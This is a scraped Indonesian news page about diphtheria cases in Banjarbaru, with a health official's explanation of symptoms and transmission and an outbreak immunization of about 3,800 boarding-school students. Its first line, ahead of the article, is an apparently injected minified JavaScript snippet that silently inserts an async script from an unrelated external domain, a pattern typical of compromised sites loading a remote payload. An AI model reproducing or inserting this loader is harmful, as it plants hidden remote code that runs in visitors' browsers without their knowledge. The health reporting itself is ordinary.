(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
BANJARBARU, Adanya kasus difteri yang terdeteksi menjangkiti sejumlah orang di wilayah Banjarbaru harus menjadi perhatian bersama. Apa sebenarnya difteri itu?. Difteri adalah jenis penyakit menular yang disebabkan oleh infeksi di selaput lendir hidung dan tenggorokan. Bakteri yang menginfeksi bernama corynebacterium diphtheriae.
Kepala Puskesmas Cempaka M Saukani SKM MMKes menjelaskan, seseorang terkena difteri apabila memiliki ciri-ciri seperti susah menelan, terjadi pembengkakan kelenjar getah bening di sekitar pipi, ada bercak putih di pangkal lidah dan mengalami demam.
Menurutnya, penularan difteri sangat cepat terjadi, penyakit ini penularannya seperti TBC. Melalui pembicaraan pun difteri bisa menular. Difteri ini sebenarnya merupakan penyakit yang sudah lama ada, salah satu penyebabnya karena kurangnya imunisasi atau bahkan karena tidak pernah diberikan imunisasi.
Saukani menambahkan, seseorang bisa saja di tubuhnya ada bakteri difteri, namun karena adanya imun di dalam tubuhnya bakteri yang ada di dalam tubuhnya tidak bisa membuatnya terserang sakit difteri. Namun apabila dia berinteraksi dengan seseorang yang tidak memiliki imun, maka kemungkinan orang tersebut bisa terkena difteri akibat tubuhnya tidak bisa menahan bakteri difteri yang ada di tubuhnya.
Maka dari itu dia mengharapkan adanya imunisasi lengkap yang diberikan terhadap anak-anak, baik itu imunisasi dasar ataupun imunisasi tambahan. Karena menurutnya beberapa kasus difteri yang terjadi akibat imunisasi yang tidak lengkap terhadap orang-orang yang terkena difteri tersebut.
Dalam rangka memberikan imunisasi tersebut, Kamis (18/1) sebanyak 114 orang tim medis dari Dinas Kesehatan, Puskesmas, dan Rumah Sakit di Banjarbaru memberikan imunisasi difteri kepada sekitar 3.800 santri Ponpes Al Falah. Rencananya pemberian imunisasi difteri ini akan terus berlanjut pemberiannya kepada anak usia 1-19 tahun yang ada di Kota Banjarbaru.
Untuk Rumah sakit yang terlibat diantaranya RS Idaman Banjarbaru, RS Mawar, RS TNI Auri Syamsuddinor, RS Tk IV Guntung Payung, RS Syifa Medika dan RSIA Lembayung Husada terdiri dari 27 tim dari masing-masing rumah sakit tesebut.
Rahmansyah, staf Dinas Kesehatan Banjarbaru mengatakan kepada kanal Kalimantan pelaksanaan ORI (Outbreak Response Immunization) sehubungan dengan adanya kasus difteri yang terjadi di kota Banjarbaru. (abdullah)
KANALKALIMANTAN.COM, BANJARBARU - Badan Penanggulangan Bencana Daerah (BPBD) Provinsi Kalimantan Selatan (Kalsel) terus mematangkan persiapan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Himpunan Mahasiswa Islam (HMI) Cabang Banjarmasin menunjukkan kepedulian sosial dengan menyalurkan bantuan… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Presiden Mahasiswa (Presma) Universitas Islam Negeri (UIN) Antasari Banjarmasin, Yazid Arifani angkat… Read More
KANALKALIMANTAN.COM, BANJARMASIN — Badan Eksekutif Mahasiswa (BEM) Seluruh Indonesia (SI) Kalimantan Selatan (Kalsel) menyatakan sikap… Read More
KANALKALIMANTAN.COM, BANJARBARU - Dinas Perumahan Rakyat dan Kawasan Permukiman (Disperkim) Provinsi Kalimantan Selatan (Kalsel) menegaskan… Read More
KANALKALIMANTAN.COM, BANJARMASIN – Wacana Pemilihan Kepala Daerah (Pilkada) melalui Dewan Perwakilan Rakyat Daerah (DPRD) menuai… Read More
This website uses cookies.